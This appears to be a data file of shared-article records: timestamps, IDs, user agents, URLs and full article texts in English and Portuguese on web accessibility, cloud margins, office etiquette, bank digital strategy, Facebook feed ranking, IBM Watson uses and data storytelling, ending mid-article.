1476980365,CONTENT SHARED,6195056361889291497,3891637997717104548,-6330842961578009837,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,https://www.palantir.net/blog/addressing-accessibility-web,Addressing Accessibility for the Web,"Michellanne Li Making sure your website is accessible requires more than just fulfilling a checklist of best practices. The Americans with Disabilities Act was a landmark civil rights legislation that tore down barriers preventing individuals with disabilities from fully participating in society. This bill covered important aspects of life in the 1990s, such as public transportation and employment. A decade and a half later these things are still important, but technologies have emerged that raise new questions about how they can be made accessible for all users. This year, I had the privilege of attending the 2016 Accessibility Summit, where presenters from organizations such as the W3 Consortium, Adobe, and WebAIM talked about ways in which we can make the web more accessible to users with disabilities such as low vision, blindness, deafness, and limited dexterity. One of my biggest takeaways was that I had been thinking about accessibility all wrong. Initially, I saw accessibility guidelines as a checklist. Although lists are published by thought leaders such as Google ( ), it's entirely possible for a website to adhere to accessibility criteria without effectively meeting the needs of disabled users. While checklists are useful, they lack a human element. It helps to view accessibility as a holistic approach to design, development, and content that, at its core, relies on empathy and understanding of a wide range of user experiences. Accessibility issues are ultimately user experience issues. How do you bake accessibility into your process? Below are some ideas of how accessibility may become an inherent part of creating a website: Create personas for disabled users to address accessibility. Some examples might be: A person with low vision or blindness A person who has recently suffered a stroke A person who is positioned in the glare of the sun The World Wide Web Consortium has created a diverse set of personas representing disabled users, which are available on their website ( ). There are also solutions provided for common problems these users might face on the web. Create tickets based on disabled user personas. These tickets should have specific quantifiable success criteria, such as: ""a person with vision impairment can fill out this form."" This is a great platform to demonstrate to clients how accessibility is being achieved. From the onset, design with accessibility in mind. Designers should familiarize themselves with accessibility guidelines and incorporate them into their work starting with the earliest concepts. For instance, whenever I'm working with text, I run potential colors for both the text and the background through a contrast checker (such as this one: ). Contrast checkers confirm whether the combined text color and background color will be readable. Such measures preempt the need to rethink the design later in the process, thus saving time and avoiding the pitfalls of presenting a client with ideas that cannot be realized. When designing the UI, aim for fewer steps to task completion. By decreasing the number of keystrokes, steps, and time required to complete tasks, we can make websites more accessible for everyone. A task that is mildly annoying to complete for an abled user can be prohibitively time-consuming and frustrating for a disabled user. All users can benefit from the simplification of tasks, but disabled users will be especially impacted. During development, take advantage of the wide range of auditing tools available to check whether your site adheres to accessibility guidelines. Some popular tools include: Navigate and complete tasks on your website with the tools available to disabled users. This doesn't replace user testing, but it can provide some useful insights. Here are some ideas: Try using a screen reader, such as Chrome Vox . This helps you confirm whether your interactive elements are labeled clearly. Change your iPhone's accessibility settings and practice using your website with voiceover. Go into ""Settings > General > Accessibility."" Try using your keyboard only. You can implement these techniques when demoing websites to clients to help them understand how different users access websites. Recruit individuals with disabilities to participate in usability testing. This is the best way to confirm whether a website truly is accessible. Remember that accessibility guidelines are just the starting point. A site that checks off all the boxes may still have roadblocks for disabled users. Disability rights lawyer, Lainey Feingold, provides on her website a list of nonprofits that offer usability testing by disabled individuals ( ). Additionally, here are some tips and tricks for creating accessible websites. Use flyingfocus.js ( ) to add a sense of movement to the :focus state of interactive elements. This enhances the user experience of tabbing through a web page. Check out some examples here: Sighted users who tab through a website also benefit from the addition of skip links. (However, non-sighted keyboard users do not use skip links because screen readers have ways of getting around repetitive content.) What's a skip link? It is a link at the top of the page that the user can select to ""jump"" to the main content. This saves time that would otherwise be spent tabbing through the site header on every page. A skip link can be styled so that it is hidden until a user tabs over it. Adding a css transition so the hidden link is visible for a fraction of a second longer will ensure that the user doesn't miss it. Aria roles are useful, but employ them sparingly. Overuse of aria roles can actually diminish the accessibility of a website. It's dangerous to make assumptions about how users are interacting with and viewing your website. For instance, desktop users who zoom in on websites will wind up activating the mobile view. And some mobile users navigate with a keyboard. Rather than ""Read More"" links, be specific: ""Read more about ---."" This is important for users with screen readers who are unable to see the association between the ""read more"" link and the content it references. You can visually hide ""---"" so that only screen readers will detect it. Blocks of text should be no more than 80 characters or glyphs wide (40 if CJK). 45-75 characters is considered ideal. Avoid using screen reader detection. Visually impaired individuals do not want to feel like they are being treated differently or tracked. Avoid using tabindex with positive values. Instead, structure your markup for logical and intuitive navigation. Use tabindex(-1) to set focus on things that aren't natively focusable. Stay connected with the latest news on web strategy, design, and development. Sign up for our newsletter.",en
1476982429,CONTENT SHARED,4428409432282393251,3609194402293569455,6661347574639808560,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://itsriodejaneiro.gitbooks.io/bitcoin-para-programadores/content/,Introduction · Bitcoin para Programadores,Este material tem o objetivo de introduzir programadores com interesse nascente nesta tecnologia aos conceitos básicos necessários para o entendimento e desenvolvimento de aplicações Bitcoin. O foco é o mais prático quanto possível sem perder de vista a teoria necessária para uma prática sólida e independente.,pt
1476984097,CONTENT SHARED,8289311442635691404,3396828831632510915,1233659230241778611,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",GA,US,HTML,http://news.microsoft.com/features/have-a-coke-take-a-photo-and-celebrate-the-coke-bottles-100th-anniversary-using-how-old-net/,"Have a Coke, take a photo and celebrate the Coke bottle's 100th anniversary using How-Old.net","A few months ago, the Microsoft team behind How-Old.net unleashed an unexpected viral sensation, with more than 575 million images submitted to test the power of real-time analytics and machine learning in guessing the ages of people in those pictures. More than 85 million users visited the site from all over the world. Coca-Cola patented its distinctive bottle design in 1915 , and it's as likely to be the go-to for families out and about now as it was for parasol-carrying ladies sipping them out of straws a century ago. Coke bottles reached soldiers serving in World War II, appeared in Time in 1950 (the first commercial product to appear on the magazine's cover) and have endured as a staple through generations. To celebrate its 100th anniversary, Coca-Cola and Microsoft have partnered to create an original experience inspired by How-Old.net. Coke fans are invited to upload a photo that includes a glass contour Coke bottle, or simply the bottle itself, to How-Old.net to unlock a surprise. ""In this tool we saw an innovative way to capitalize on one of the most iconic brand moments there is as we celebrated this birthday, that moment you share with an ice cold bottle of Coke,"" says Simon Cowart, global social media strategist with The Coca-Cola Company. ""We're onto something that is relatively unique,"" says Joseph Sirosh, corporate vice president of the Microsoft Data Group, including the team of engineers who built the Machine Learning and Big Data capabilities that are the heart of Cortana Analytics Suite. Developers on his team were the ones who came up with How-Old.net. Sirosh's team also worked on the challenge issued by Coca-Cola to take the How-Old.net app one step further by recognizing specific objects, such as a contoured glass Coca-Cola bottle, in pictures users upload. For the Coca-Cola project, the Microsoft data scientists and engineers started with How-Old.net, and enhanced the experience with the perceptual intelligence capabilities of the Cortana Analytics Suite. ""We had to build a new machine learning model that could recognize Coca Cola bottles,"" says Sirosh. ""There were two parts to getting this done right: to recognize the Coca-Cola logo and the unique glass contour bottles the logo appears on."" For the first step, they used Python scripts and image processing libraries, to detect the Coca Cola logo. They then used deep neural networks from Azure Machine Learning to create a dedicated model that can identify whether there's a bottle in the area surrounding the logo. The scientists trained it with thousands of images collected online and from Coca-Cola, continuously iterating to improve the accuracy of the models through a tool called the Visual Model Evaluator. After all, faces can take up a big part of a photo, while bottles are relatively small. And the logo within it, smaller still. ""The most exciting technology part of this exercise and what we hope to be using down the road is that we created the ability for people in marketing and social communications to augment social campaigns by being able to train a neural network-based machine learning model to detect objects, something that is very, very complex,"" Sirosh says. ""We made this process incredibly simple, and then integrated it into the How-Old experience. We made a super complex technology available, accessible and usable - and that was a very exciting part of the journey."" Sirosh thinks this detection technology will be appealing to developers, and is committed to making it easier for anyone to get started with data science. ""Computer vision technology - face recognition - has been around for a while, but only for a select few. Now with the Microsoft Face API, even a developer who knows very little about machine learning or computer vision will be able to set up a website within a week or two that uses sophisticated face recognition technology, and in minutes, create a super fun experience,"" Sirosh says. ""It's based on a ton of machine learning, but no one had to fidget around with the machine learning parts."" How-old.net face recognition is just one example of what's possible with Microsoft Machine Learning API's. This machine learning technology is the engine that enables the Web-based gender and age guessing experience that caught on so quickly with How-Old.net. ""Any developer can easily discover and try the capabilities of perceptual intelligence through the Cortana Analytics Gallery ,"" says Barb Edson, general manager of the Microsoft data marketing group. ""It's a very easy way for a developer to add smart insights into their apps without the need to be an expert in data science."" And because it runs on Azure, apps using this technology can scale big, fast. Developers can collate data using Microsoft face APIs, also offered as part of the Cortana Analytics Suite, which incorporates state of the art algorithms from Microsoft Research for facial detection and recognition, gender and age prediction, but also other capabilities such as speech detection and text analysis. ""We're trying to make this truly a developer experience,"" Sirosh says. ""We get learnings from detecting all these things and put it into a service that anybody can use to build their own object detection concept."" Object recognition could find applications in all kinds of ways, such as automatically detecting colors for washing machine cycles, or programming a robot that can detect food in the kitchen, or building a toy that responds only to your child. Gyms could automate workouts for their members (sorry, personal trainers!) and companies could link photos of their products directly to catalog availability. The fitness conscious could even take pictures of their meals, which would reveal nutritional values. ""We didn't know How-Old would lead us down this path,"" Sirosh says. ""But now people can see how machine learning can be cool, reaching 85 million people through a single app. People saw us do a pretty cool thing with our technology, and maybe we can help them do something cool, too."" Read more about how Joseph's team created the #CokeBottleBirthday experience . Lead image: Joseph Sirosh, corporate vice president, Microsoft Data Group",en
1477009340,CONTENT SHARED,3058137260516373249,881856221521045800,7614560820491277530,Android - Native Mobile App,MG,BR,HTML,http://www.businessinsider.com/microsoft-commercial-cloud-gross-margins-2016-10,Now we know how profitable Microsoft's cloud business is -and investors should be happy,"REUTERS/Baz Ratner Microsoft has revealed a rare number in its earnings announcement : the gross margins on its all-important commercial cloud computing business for the previous quarter: 49%, up from 42% the quarter before. The ""commercial cloud gross margin percentage""measures the gross margin on the company's business-focused cloud products, including Microsoft Azure, Office 365, and Dynamics. Microsoft has revealed it from time-to-time before, but it has now committed to reporting it quarterly. That's a concession of sorts to Microsoft's investors, notably former CEO Steve Ballmer , who have been calling for more transparency from the company when it comes to its cloud-computing revenue - especially given that Satya Nadella, the current CEO, has pegged so much of the company's future on strong cloud growth . Microsoft is known for cherry-picking its cloud numbers, disclosing information about users, usage, revenue, or margins for some cloud services but not others. Cloud computing, where customers pay on an ongoing basis for subscription services delivered over the internet, can be a high-margin business, but it also requires a ton of investment into data centers and infrastructure to make sure it can meet demand all over the world. In other words, having a ton of customers doesn't always translate to profitability. So the fact that gross margins are improving, in line with predictions made by Microsoft CFO Amy Hood back in July , is a positive sign that all the cash the company is dropping on data centers was a wise long-term investment. With Microsoft betting big on the cloud, happier margins means happier investors, and if this trend continues, investors will be very happy, indeed. Still, many Microsoft-watchers are pushing for the company to be even more transparent and reveal actual revenue figures for the segment. This is a small step in that direction, but an important one.",en
1477010573,CONTENT SHARED,5271205718596251417,881856221521045800,7614560820491277530,Android - Native Mobile App,MG,BR,HTML,https://www.entrepreneur.com/article/276238,9 Rules of Open-Office Etiquette,"Nowadays, many entrepreneurs choose not to rent a large office space. Rather, many enterprises work in a spare bedroom, garage, basement or another one- or two-room office space. Many cost-conscious business owners are even opting for an open-office plan where multiple staff members work together in a large room. It would be ideal if each person could have his or her private office, but that is often unrealistic and extremely costly. Therefore, to create peace and harmony a few rules of etiquette should be observed. 1. Respect another's need to work. Just because others are sitting nearby doesn't mean they are available for conversation at all times. Respect one another's privacy. Act as if there is a door between you and if they appear to be busy, ask if they have a moment to talk. 2. Be aware of smells. Within a tight space smells can be magnified, so use consideration when packing your lunch or snacks. Try to eat meals in the kitchen, break room or outside, rather than at your desk. Since many people have allergies to scents, forgo wearing perfumes, cologne or strong after shave to the office. Pay attention to your personal grooming as well. Unfortunately, common sense is not so common anymore. Related: The Rules for Eating Lunch at Your Desk 3. Keep noise and distractions to a minimum. Noisy conversations (either between workers or on the telephone) or habits such as tapping on the desk, fidgeting or getting up and down often can create an annoying distraction to those trying to concentrate. If you want to listen to music, podcasts or videos, use headphones or ear buds. 4. Be tidy. Your messy desk can be a distraction to others and will detract from the professional image your organization is trying to establish. Keep your belongings confined to your own personal space and tidy up your immediate area each day before leaving work. If you share a desk, be sure to clear away any personal items like coffee cups and office supplies. 5. Respect another's space. Just because another's workspace is within reach of your desk doesn't make it common domain. Treat each person's space as if it was a private office. Do not help yourself to anything on their desk or in their area. Ask first or go to the supply closet if you need a pen or a stapler. 6. Don't come to work sick. When you work in close quarters, it is easy to transfer germs. Stay home if you are sick. It's good hygiene to cover your mouth when you cough, keep hand sanitizer on hand, don't leave used tissues around, and wipe down the desk, computer keyboard and phone from time to time to help prevent germs from spreading. Related: 4 Signs You Talk Too Much at the Office 7. Be considerate. Respect is key when working in an open-office environment. Act respectful and expect others to act in the same way. Set rules of conduct and reiterate boundaries when they are crossed. It's best to address problems and concerns directly and diplomatically before they escalate. 8. Be tolerant. The open-office environment brings together myriad personalities, with different styles. Be tolerant of these differences and find ways to adapt. Everyone is not going to agree with you one hundred percent of the time. Keep an open mind, listen with the intent to learn and focus on the positive aspects of your job. 9. Think like a team. In order to maintain a cohesive team, do not spread gossip, cause another to feel like an outcast, or grumble about petty things. Hold regular meetings to set goals, share ideas and talk about concerns. Related: Think Privacy for Open Office Layouts That Work When the rules of open-office etiquette are observed, camaraderie, communication and collaboration will ensue.",en
1477043941,CONTENT SHARED,-3060116862184714437,3592784031357342393,-7336913954263845231,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://thefinanser.com/2016/10/banks-digital-vision.html/,Where is the bank's digital vision? - Chris Skinner's blog,"It's intriguing to find more and more banks creating digital heads. I meet them regularly, I'm the digital head of retail banking; I'm the digital head of retail business banking; I'm the digital head of the investment bank; I'm the digital head of our transaction banking business; I'm the digital head of our commercial bank; and so on. You get the idea. Lots and lots of digital heads, but who's the daddy? Often there isn't one. Often the digital heads report into the line of business head and there's no co-ordination. Usually, these digital heads are mainly given the objective of creating the digital project to add the digital front-end to the analogue pig (ref yesterday's blog ). I know I'm being harsh, but I keep coming back to the real issue here, which is leadership . Banks are led by bankers, and that's the problem. Most banks have zero technology professionals in the C-Suite. As a result, they think digital is a project. Each line of business creates the digital project and gives the digital task to a newly appointed digital head. The digital head builds a team and gets a budget and, once the digital stuff is done, is promoted and things go back to normal. That is not digital guys; that is just tinkering. Digital is all about rethinking the bank for the internet age. It is changing the business model and culture of the bank to be built around digital platforms. It is reimagining how to offer finance through technology. Bankers think of this the other way around. They think of how to apply finance to technology rather than how to apply technology to finance. I've touched on all of these things before, but it is frustrating that the message doesn't seem to be getting through. It's not getting through because the leaders of banks understand risk, regulations, compliance, accounting, ledgers and money, but they don't understand technology. How can you build a bank based upon technology if your C-Suite is populated by people who do not understand technology? That is a fundamental question, and is why you have so many heads of digital but no digital head. A digital head would be the CEO. In fact, I often ask these digital heads who they report to, and they tell me it's the COO or CIO. It should to a CDO who reports to the CEO. The C-Suite should have at least a quarter of its team populated by people with a professional technology career. Right now, almost 80% of banks have no one in the C-Suite of such calibre. That is a disaster waiting to happen, especially considering there's a five-year change window to get the bank fit for the next decade, at most. So when I meet most heads of digital, I sympathise as I know they're frustrated. Most of them are frustrated that digital is being dealt with as a project, rather than a change program, and most of them are frustrated that digital is being delegated rather than led. What should you do? Well, if you cannot change the management team of the bank and truly believe the future is digital, you must leave the bank and find a firm where the vision is there. The vision will come from a bank or start-up that has technology leadership. You cannot create a digital vision if you don't have leaders who understand digital. In fact, again, the reason why most bank leaders avoid changing core systems is that they don't have vision and so can duck it. Most CIOs are not there to give vision; they are there to keep the lights on and maintain the system (especially as 80% of their budget is spent on just that). So who's going to create a digital technology vision if there's only bankers in the room and no one to challenge them? No one and, in many of the banks who are talking digital, it is just that. They are just talking. They've said how important it is, they've appointed some digital heads to lead digital projects, and they've made the right moves. Enough said and done? Nah, it's just lip service. These are the bank leaders talking the talk but not walking the walk. I've said it. Sorry for the rant, but hey, this is decades in the making and for a bank leader to still not get it is like my poor dead fish yesterday . After all, a fish rots from the head in case you didn't know.",en
1477044846,CONTENT SHARED,-4561077506184283336,3938645257702379823,6837894335309479664,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",SP,BR,HTML,http://go.pardot.com/webmail/27572/1258825525/78c38ef6bf526d18a1f491ec66d2edd1a86296040e0a03a4888fdf767bf048a8,Build Apps Faster with Salesforce - Webinar,"© 2016 View in Browser | Privacy Statement | Unsubscribe from all Salesforce emails salesforce.com, inc. All rights reserved. Various trademarks held by their respective owners. Salesforce.com, inc. The Landmark @ One Market, Suite 300, San Francisco, CA, 94105, United States General Enquiries: 415-901-7000 | Fax: 415-901-7040 | Sales: 1-800-NO-SOFTWARE You can unsubscribe from Marketing emails at any time.",en
1477051999,CONTENT SHARED,8195862936106508846,-8020832670974472349,376453739289008134,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,https://code.facebook.com/posts/663139850520576/client-side-ranking-to-more-efficiently-show-people-stories-in-feed/,Client-side ranking to more efficiently show people stories in feed,"Our mission with News Feed is to connect people with the stories that matter most to them. For people on slower internet connections, we are focusing on ways to more efficiently rank and render relevant stories without having to wait on the network to return results. Last December, we published a blog post about our efforts to improve News Feed for everyone regardless of device or network connection. Over the past several months, we've continued working toward this goal of efficiently decoupling the News Feed experience from the strength of a network connection so that people see relevant stories more quickly without waiting for slow load times. We are now launching an update to News Feed's client architecture that builds upon that foundation to more efficiently show people stories in feed. Previously, all story ranking for News Feed occurred on the server. After the server-side ranking, batches of stories were sent to the client and then displayed exactly in that order. This architecture had limitations - for example, people in emerging markets frequently saw a feed full of spinners and gray boxes because the stories and related media were sent across the network without taking into account the quality of the connection. Goals for a new architecture With the overall goal of building a News Feed experience that is optimized for mobile devices regardless of network connection, we first established some principles that would influence this work. People shouldn't have to depend on a strong network connection being available when they want use the Facebook app. We should consider a fast network as an enhancement to the News Feed experience rather than a requirement. A story in News Feed is not relevant to someone until its associated media (e.g. images, at least beginning of a video, text of Instant Articles, etc.) has loaded (rather than when its metadata is downloaded). With these principles in mind, we redesigned the architecture of News Feed to allow stories to be re-ranked on the client after being sent from the server. We avoid spinners and grey boxes by 1) requiring stories to have all necessary media available before rendering them in News Feed and 2) being able to optimize the content in News Feed for each session. Using client-side ranking to increase relevance In the previous News Feed architecture, the mobile client sent a request to the server for new stories, and the server returned a batch of ranked stories to be rendered in the UI. This loop would continue as long as someone kept scrolling through their feed. Any stories that were sent to the client but not yet seen remained on the device in a persistent cache, in the same ranked order in which they were sent from server. If a person was offline or on a slow network at app start up, client requests would pull stories from the cache until a new or better network connection was established. While this enabled people to see News Feed stories even on poor networks, it didn't guarantee that they were seeing the most relevant stories. For example, by the time an image fully loaded and rendered in feed, that story might be less relevant than a new story sent from the server. We wanted to determine which stories are most relevant to each person as frequently as possible. In our new architecture, instead of waiting to show new stories until after you've seen the stories we already ranked, the next best story is selected from a pool of both new stories from the server and unseen stories from the persistent cache, and then rendered in feed. This happens each time you scroll down one story. Every time the server sends another story, we can rank the story on the client and insert it in the appropriate spot in your News Feed in real time, even on a poor connection. By creating this pool of stories on the client, we are able to rely on the cache to consistently show people new stories during a session in the event that new stories from the server are slow to return to the pool. This client-side infrastructure leverages the computing power of mobile devices to dynamically rank stories on the client, giving everyone a better News Feed experience, regardless of their network connection. Optimizing for connectivity This architecture also enables us to surface stories that have been optimized for your connection at the time of your session. For example, slow-loading content gets temporarily down-ranked while it loads because, before we show a story in your News Feed, we check to see whether the media in the story - the image, the video, the link preview, etc. - has been loaded on your device. If it hasn't, we re-rank the stories on the client and prioritize those that have fully-loaded media. In addition, videos might not play automatically when a user is offline or on a bad network. This change improves the consumption experience in emerging markets because people will see fewer gray boxes, spinners and incomplete stories. While the impetus of this work comes from focusing on improving the News Feed experience for people in emerging markets, these updates also will benefit people who typically have strong internet connections, as we all experience less than ideal internet connections at times. This is just the beginning of making the most of this new architecture and, in the coming months, we'll continue to iterate and build upon this foundational work and share updates with you on our progress.",en
1477052144,CONTENT SHARED,1851975995406778464,-5527145562136413747,-4137383865691554748,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36",RJ,BR,HTML,http://picnicbrasil.com/programacao,PICNIC,"Redesenhar o crescimento, repensar o lugar em que vivemos, inspirar as pessoas que pensam de forma diferente a criar soluções em conjunto. PICNIC é o evento em que criatividade, inovação, ciência e tecnologia convergem com um propósito: conectar as mentes inquietas que buscam significado em suas vidas",pt
1477058925,CONTENT SHARED,9045808098977760576,-1032019229384696495,-7124975844719407783,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",NY,US,HTML,https://techcrunch.com/2016/10/20/made-by-google/,A trip to Google's New York City Pop-Up Shop,"It might be reading too much into things to note, right off the bat, that Google's new SoHo pop-up shop is a mere block or two from Apple's own Prince st. location. After all, that five block radius has hosted brand stores ranging from Samsung to LittleBits. Beats had a flagship shop down there before, as well, being swallowed up by Apple. There's even, weirdly enough, a Cap'N Crunch themed pop-up just around the corner on Broadway. It's a heavily trafficked, upscale shopping area (between the copious perpetual Manhattan construction) - an ideal spot to pop in and play around with shiny new smartphone or VR headset between brunch and a trip to Dean and Deluca. The temporary location is hard to miss with the big Google flag flying outside and the large security guy standing at the door, clicking a hand tally counter as people walk through the door, so the drive for some time with the new Pixel doesn't push things over capacity. The place is white-walled and well lit, broken up by flowing wooden columns. It's the sort of space you might visit to overpay $500 for a messenger bag. But the Made By Google shop isn't about direct sales so much as it is getting its trio of recently announced devices in the hands of trendy consumers. Text on the entry wall welcomes visitors to its ""little corner shop."" To its right, an automated sculpture spins cardboard modules that alternately spell out the company's name and display brightly colored designs in keeping with the Made by Google aesthetic. The store is broken up by product. In the back, two small glass cubicles are made up to look like a living room and kitchen, where Google reps demonstrating Home's smart home functionality, from turning on the TV to beat boxing by request. A line of people nearby wait to test out the new Daydream handset, just in front of a row of Pixels. OK Google, where can a guy get some mimosas around here?",en
1477059893,CONTENT SHARED,7138108653908662095,3217014177234377440,7158016174773874286,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.59 Safari/537.36",SP,BR,HTML,http://conteudo.startse.com.br/para-empreendedores/felipe/startse-promove-hangout-gratuito-com-caio-poli-do-nubank-inscreva-se/,"[Hangout] StartSe promove hangout gratuito com Caio Poli, do Nubank; inscreva-se","O Nubank é uma das principais startups do Brasil e é um dos cases de melhor relacionamento com o cliente que existe Chegou o hangout do StartSe que você tanto esperava! Junior Borneli, fundador do StartSe, conversará com Caio Poli, Head of Costumer Experience do Nubank, na próxima segunda-feira, dia 31 de outubro, às 20h (horário de Brasília)! O Nubank é uma das principais startups do Brasil (se não for a principal) e é um dos cases de melhor relacionamento com o cliente que existe. Não conheço ninguém que usa o Nubank (incluindo eu!) e não gosta da experiência de usuário que eles transmitem. Foi o relacionamento fantástico que fez a cor roxa se transformar em sinônimo de um cartão de crédito confiável e que olha, de fato, para o usuário. E você vai entender em primeira mão com Caio Poli, o responsável por isso, aprendendo como se faz e podendo levar conhecimentos riquíssimos para sua própria startup ou sua carreira profissional. O Nubank é a principal fintech do Brasil, tem milhões de interessados e deve testar um plano de fidelidade inovador nos próximos meses. A empresa é tão influente que conseguiu fazer com que Bradesco e Banco do Brasil a copiasse através do Digio. Por alguns fatores, porém, que envolvem principalmente a experiência do usuário, o Digio dos grandes bancos não consegue se tornar tão bem avaliado quanto o Nubank. Além do hangout, Caio também participará de outra iniciativa do StartSe: o Fintech Class (clique aqui para conhecer) . Trata-se do maior evento do setor de fintech do Brasil e que acontecerá em São Paulo, no dia 9 de novembro. Fora Caio, representando o Nubank, participarão outros grandes nomes do segmento no Brasil, como o Banco Original, GuiaBolso e Geru. Não perca!",pt
1477084233,CONTENT SHARED,-7666273193533605701,3609194402293569455,1361432272218105232,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://startupi.com.br/2016/10/como-inteligencia-artificial-ja-muda-mercados-da-gastronomia-ao-petroleo/,"Como a inteligência artificial já muda mercados, da gastronomia ao petróleo - Startupi","Você já criou uma receita só sua? Não aquela coisa de abrir a geladeira, ver o que tem sobrando e juntar tudo numa bela gororoba autoral. Algo pensado, analisando os sabores e aromas de cada ingrediente para criar sua própria combinação. Bom, você pode nunca ter feito isso, mas um computador já. Um supercomputador chamado Watson, criado pela IBM. Com base em mais de 30 mil receitas, tabelas sobre o perfil molecular de compostos responsáveis por aroma e sabor e estudos acadêmicos sobre o assunto, a máquina de inteligência artificial criou receitas que hoje estão disponíveis em um livro (""Cognitive Cooking with Chef Watson"") e em um aplicativo. A culinária é apenas um dos mercados já impactados pela inteligência artificial: é difícil imaginar que ela não vá mudar -se já não está mudando- o seu setor. Hoje, já há vários exemplos, que vão do monitoramento de hábitos do consumidor à medicina. Startups costumam ser motores desse desenvolvimento, o que gera uma corrida de grandes companhias para incorporar os sistemas criados por elas. De acordo com a empresa de monitoramento de investimentos CB Insights, só neste ano foram feitas 40 aquisições de empresas criadoras de tecnologias avançadas de inteligência artificial. De 2011 para cá, foram cerca de 140 compras. ""Gigantes como Google, IBM, Yahoo!, Intel, Apple e Salesforce estão na corrida para comprar empresas de inteligência artificial"", diz consultoria. O Watson ganhou fama em fevereiro de 2011, ao vencer humanos no programa de perguntas e respostas ""Jeopardy"", da TV americana. Na época, tratava-se de uma máquina capaz de entender as perguntas em linguagem natural e respondê-las. Nesses cinco anos, evoluiu, ou, mais exatamente, aprendeu -a IBM abriu a plataforma para que empresas parceiras pudessem colaborar com seu desenvolvimento e usar a máquina para desafios maiores. Aqui, nós listamos alguns sistemas que já usam o sistema do Watson para resolver necessidades de diferentes mercados. Terapia online Talkspace é uma plataforma que permite que usuários encontrem um terapeuta a distância -as consultas são feitas virtualmente, quando o usuário vê necessidade de conversar com um profissional. No ano passado, a empresa começou a usar o supercomputador para entender melhor a personalidade dos clientes e conectá-los ao melhor profissional. O supercomputador analisa informações das conversas para entender a personalidade, as características sociais, o modo de pensar e o interesse emocional delas. Assim, a plataforma consegue conectá-lo ao terapeuta mais indicado e dar sugestões ao profissional. A ideia é que a máquina consiga aprender mais sobre cada cliente a cada nova consulta. Monitoramento de saúde personalizado e em tempo real No mês passado, a fabricante de equipamentos médicos Medtronic começou a testar a versão final do aplicativo Sugar.IQ, que usa informações geradas por sensores de glicose presentes em produtos da companhia para oferecer dados personalizados em tempo real aos pacientes sobre sua saúde. O objetivo é que ""pessoas com diabetes possam passar menos tempo se preocupando com seus dados e ter mais liberdade para simplesmente aproveitar a vida"", diz a companhia. O app pode informar ao paciente como aspectos de sua vida cotidiana -por exemplo, a alimentação- impactam seus níveis de glicose. Assim, o cliente pode tomar melhores decisões. Monitorar o desempenho de lojas A Benchmark Intelligence oferece um sistema que vasculha a internet para verificar o que os clientes estão dizendo sobre uma determinada empresa -em comentários deixados sobre o estabelecimento nos mapas do Google ou em sites como o Yelp. O Watson, então, analisa o que os clientes estão dizendo na rede e também em pesquisas e indica se é preciso fazer alguma mudança. O objetivo é medir a performance de diferentes lojas de uma rede para saber quais precisam mudar. Tornar a exploração de petróleo mais segura A Woodside, uma gigante australiana de petróleo, está usando a inteligência artificial para tornar suas estruturas mais seguras. A companhia ""apresentou"" ao Watson informações que englobam mais de mais de 20 anos, com milhões de documentos sobre seus projetos e sua estrutura -o ""know-how"" sobre a operação. O supercomputador, então, permitiu que os engenheiros tivessem acesso a ""insights"" sobre o sistema de modo instantâneo, em linguagem compreensiva. Assim, podem tomar decisões de modo mais rápido, inclusive em situações críticas. Fazer sugestões de presentes mais certeiras Uma das aplicações mais comuns da inteligência artificial hoje são os ""bots"", sistemas que simulam ações humanas , como conversar. Depois de uma leva de assistentes virtuais como a Siri, do iPhone, ou o Google Now, do Android, que respondem questões e ajudam o usuário a se programar, empresas estão criando suas próprias ferramentas para isso. Usando o sistema do Watson, a loja de presentes e flores americana 1800flowers criou um sistema que dá sugestões de presentes aos usuários. É só responder: para qual ocasião são as flores, quem será presenteado etc., e o ""concierge"" faz as sugestões. A ideia é que a máquina ""aprenda"" os gostos do usuário no decorrer do tempo para fazer sugestões de presentes mais adequadas. * Artigo publicado originalmente pela Endeavor Brasil",pt
1477134684,CONTENT SHARED,-3071732669882279801,3915038251784681624,-3836398237662463548,Android - Native Mobile App,SP,BR,HTML,http://cio.com.br/opiniao/2016/10/20/qual-e-a-real-diferenca-entre-data-storytelling-e-analise-de-dados/,Qual é a real diferença entre Data Storytelling e análise de dados? - CIO,"Armazenar dados é uma prática muito comum nas organizações. Afinal, é preciso registrar tudo o que acontece no ambiente corporativo a fim de criar um histórico consistente que possa estruturar o planejamento futuro da organização. Mas nem sempre ler esses dados e enxergar respostas é uma tarefa fácil. Geralmente, grandes bases de conteúdos são acumuladas pelas empresas, mas nas últimas décadas, com a digitalização de todas as informações das companhias, uma massa gigantesca de informações desconexas foi criada, tornando mais difíceis não só a busca por dados consistentes e estratégicos, mas também a maneira destes serem decifrados. Quando queremos entender os problemas e encontrar as soluções, analisar a base de informações das organizações é extremamente vital. Esses dados ligam os pontos que jamais imaginaríamos que pudessem ser conectados, e nos fornece respostas para perguntas importantes sobre o core business da empresa e as estratégias a serem seguidas para seu crescimento. A partir daí são transformados em infográficos e os indicadores fornecidos por este podem ser contados por meio de uma em uma história simples, cabendo à liderança ou aos gestores a missão de ler, entender e aplicar a ""moral"" da história em decisões estratégicas para a empresa. Eis a origem do fenômeno do Data Storytelling. Mas você deve estar se perguntando: qual a real diferença entre 